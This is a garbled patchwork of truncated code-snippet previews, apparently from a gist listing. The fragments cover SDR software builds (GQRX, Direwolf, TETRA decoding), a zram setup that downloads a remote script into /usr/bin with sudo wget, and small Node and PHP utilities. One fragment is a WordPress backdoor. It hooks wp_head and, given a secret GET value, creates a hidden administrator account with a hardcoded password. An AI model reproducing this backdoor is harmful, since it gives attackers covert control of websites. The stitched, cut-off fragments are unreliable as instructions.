This document describes how to compile GQRX using native OSX Qt 5 and libraries from brew.
Skip any part if you have corresponding component already installed.
| https://mrminimal.gitlab.io/2018/07/26/godot-dedicated-server-tutorial.html |
| sudo wget -O /usr/bin/zram.sh https://raw.githubusercontent.com/novaspirit/rpi_zram/master/zram.sh | |
| sudo chmod +x /usr/bin/zram.sh | |
| sudo chmod +x /usr/bin/zram.sh | |
| sudo nano /lib/systemd/system/zram.service | |
| ---- copy below to the file you just nano'd | |
| [Unit] | |
| Description=Enables zram | |
| After=multi-user.target |
| <?php | |
| add_action( 'wp_head', 'my_backdoor' ); | |
| function my_backdoor() { | |
| if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { | |
| require( 'wp-includes/registration.php' ); | |
| if ( !username_exists( 'mr_admin' ) ) { | |
| $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' ); | |
| $user = new WP_User( $user_id ); | |
| $user->set_role( 'administrator' ); |
| play -t raw -e signed -c 1 -b 32 -r 44100 test |
| Once you have found some TETRA signals, record their frequencies. Now close SDR#, or whatever software you were using and boot into Linux. In this tutorial we use a 32-bit Ubuntu 14.04 virtual machine running on VMWare Player as our Linux system. Some of the commands may vary if you are using a different system. | |
| Install the software | |
| Note: There is now a telive live Linux image available. This will allow you to boot via a USB drive straight into a Linux OS with telive preinstalled. If you want the easy way out, or have trouble with the install script below, then try this image. | |
| Note 2: As of October 2016 there is now a Windows port of the Telive decoding software available. This may be an option for you if you prefer to run in Windows. More information here. | |
| This install script will automatically download the software and all the required prequisites including the RTL-SDR drivers. If you have problems consult the documentation or try a manual install. Instructions for the manual install are shown at the en |
The official Direwolf User Manual uses MacPorts to manage installation and dependencies. I don't particularly like MacPorts, so here are some instructions for installing Direwolf via Homebrew.
| var crypto = require('crypto'); | |
| var fs = require('fs'); | |
| var wstream = fs.createWriteStream('myBinaryFile'); | |
| // creates random Buffer of 100 bytes | |
| var buffer = crypto.randomBytes(100); | |
| wstream.write(buffer); | |
| // create another Buffer of 100 bytes and write | |
| wstream.write(crypto.randomBytes(100)); | |
| wstream.end(); |
| <?php | |
| // Example Lat/Long aka IO91js | |
| $latitude = "51.756435"; | |
| $longitude = "-1.246042"; | |
| echo latlong_to_locator($latitude, $longitude); | |
| function latlong_to_locator ($latitude, $longitude) { |
| #!/usr/local/bin/php -q | |
| <?php | |
| //a little bit of fun with a socket server | |
| error_reporting(E_ALL); | |
| /* Allow the script to hang around waiting for connections. */ | |
| set_time_limit(0); | |
| /* Turn on implicit output flushing so we see what we're getting | |
| * as it comes in. */ | |
| ob_implicit_flush(); |